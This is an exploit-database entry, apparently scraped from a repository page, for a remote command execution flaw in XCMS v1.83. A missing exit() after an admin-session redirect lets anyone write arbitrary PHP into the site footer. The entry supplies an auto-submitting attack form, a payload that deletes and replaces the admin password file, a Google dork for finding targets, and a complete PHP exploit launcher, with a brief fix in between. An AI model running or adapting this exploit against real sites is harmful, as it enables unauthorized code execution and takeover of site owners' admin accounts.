3de26153c8
23 changes to exploits/shellcodes/ghdb ELSI Smart Floor V3.3.3 - Stored Cross-Site Scripting (XSS) Hughes Satellite Router HX200 v8.3.1.14 - Remote File Inclusion Nexxt Router Firmware 42.103.1.5095 - Remote Code Execution (RCE) (Authenticated) TP-Link TL-WR902AC firmware 210730 (V3) - Remote Code Execution (RCE) (Authenticated) GeoVision Camera GV-ADR2701 - Authentication Bypass AD Manager Plus 7122 - Remote Code Execution (RCE) Enlightenment v0.25.3 - Privilege escalation Centos Web Panel 7 v0.9.8.1147 - Unauthenticated Remote Code Execution (RCE) Apache 2.4.x - Buffer Overflow perfSONAR v4.4.5 - Partial Blind CSRF SugarCRM 12.2.0 - Remote Code Execution (RCE) XCMS v1.83 - Remote Command Execution (RCE) Yahoo User Interface library (YUI2) TreeView v2.8.2 - Multiple Reflected Cross Site Scripting (XSS) GitLab v15.3 - Remote Code Execution (RCE) (Authenticated) AimOne Video Converter V2.04 Build 103 - Buffer Overflow (DoS) NetIQ/Microfocus Performance Endpoint v5.1 - remote root/SYSTEM exploit Splashtop 8.71.12001.0 - Unquoted Service Path Reprise Software RLM v14.2BL4 - Cross-Site Scripting (XSS) FlipRotation v1.0 decoder - Shellcode (146 bytes) Linux/x86 - Polymorphic linux x86 Shellcode (92 Bytes) macOS/x64 - Execve Caesar Cipher String Null-Free Shellcode
103 lines
No EOL
3.2 KiB
Text
103 lines
No EOL
3.2 KiB
Text
Exploit Title: XCMS v1.83 - Remote Command Execution (RCE)
|
|
Author: Onurcan
|
|
Email: onurcanalcan@gmail.com
|
|
Site: ihteam.net
|
|
Script Download : http://www.xcms.it
|
|
Date: 26/12/2022
|
|
|
|
The xcms's footer(that is in "/dati/generali/footer.dtb") is included in each page of the xcms.
|
|
Taking "home.php" for example:
|
|
|
|
<?php
|
|
//home.php
|
|
[...]
|
|
include(CSTR."footer".STR); // <- "CSTR" and "STR" are the constants previously declared. They refers to "/dati/generali" and "dtb"
|
|
?>
|
|
|
|
So the xcms allow you to modify the footer throught a bugged page called cpie.php included in the admin panel.
|
|
So let's take a look to the bugged code.
|
|
|
|
<?php
|
|
//cpie.php
|
|
[...]
|
|
if(isset($_SESSION['logadmin'])===false){ header("location:index.php"); } // <- so miss an exit() :-D
|
|
[...]
|
|
if(isset($_POST['salva'])){
|
|
Scrivi(CGEN."footer".DTB,stripslashes($_POST['testo_0'])); // <- save the changements without any kind of control
|
|
}
|
|
[...]
|
|
?>
|
|
|
|
So with a simple html form we can change the footer.
|
|
Ex:
|
|
|
|
<form name="editor" action="http://[SITE_WITH_XCMS]/index.php?lng=it&pg=admin&s=cpie" method="post">
|
|
<input type="hidden" name="salva" value="OK" />
|
|
<textarea name="testo_0"><?php YOUR PHP CODE ?></textarea>
|
|
<input type="submit" value="Modifica" />
|
|
</form>
|
|
<script>document.editor.submit()</script>
|
|
|
|
Note: This is NOT a CSRF, this is just an example to change the footer without the admin credentials.
|
|
|
|
|
|
|
|
Trick: We can change the admin panel password by inserting this code in the footer:
|
|
|
|
<?php
|
|
$pwd = "owned"; // <- Place here your new password.
|
|
$pwd2 = md5($pwd);
|
|
unlink("dati/generali/pass.php");
|
|
$f = fopen("dati/generali/pass.php",w);
|
|
fwrite($f,"<?php \$mdp = \"$pwd2\"; ?>");
|
|
fclose($f);
|
|
?>
|
|
|
|
This code delete the old password file and then create a new one with your new password.
|
|
|
|
|
|
Fix:
|
|
|
|
<?php
|
|
//cpie.php
|
|
[...]
|
|
if(isset($_SESSION['logadmin'])===false){ header("location:index.php"); exit(); } // with an exit() we can fix the bug.
|
|
[...]
|
|
if(isset($_POST['salva'])){
|
|
Scrivi(CGEN."footer".DTB,stripslashes($_POST['testo_0'])); // <- save the changements without any kind of control
|
|
}
|
|
[...]
|
|
?>
|
|
|
|
So this is a simple exploit:
|
|
|
|
|
|
<?php
|
|
if(isset($_POST['send']) and isset($_POST['code']) and isset($_POST['site'])){
|
|
echo "
|
|
<form name=\"editor\" action=\"http://".$_POST['site']."/index.php?lng=it&pg=admin&s=cpie\" method=\"post\">
|
|
<input type=\"hidden\" name=\"salva\" value=\"OK\" />
|
|
<textarea name=\"testo_0\">".$_POST['code']."</textarea>
|
|
<input type=\"submit\" value=\"Modifica\" />
|
|
</form>
|
|
<script>document.editor.submit()</script>";
|
|
}else{
|
|
echo"
|
|
<pre>
|
|
XCMS <= v1.82 Remote Command Execution Vulnerability
|
|
Dork : inurl:\"mod=notizie\"
|
|
by Onurcan
|
|
Visit ihteam.net
|
|
</pre>
|
|
<form method=POST action=".$_POST['PHP_SELF'].">
|
|
<pre>
|
|
Site :
|
|
<input type=text name=site />
|
|
Code :
|
|
<textarea name=code cols=49 rows=14>Your code here</textarea>
|
|
<input type=submit value=Exploit />
|
|
<input type=hidden name=\"send\" />
|
|
</pre>
|
|
</form>";
|
|
}
|
|
?> |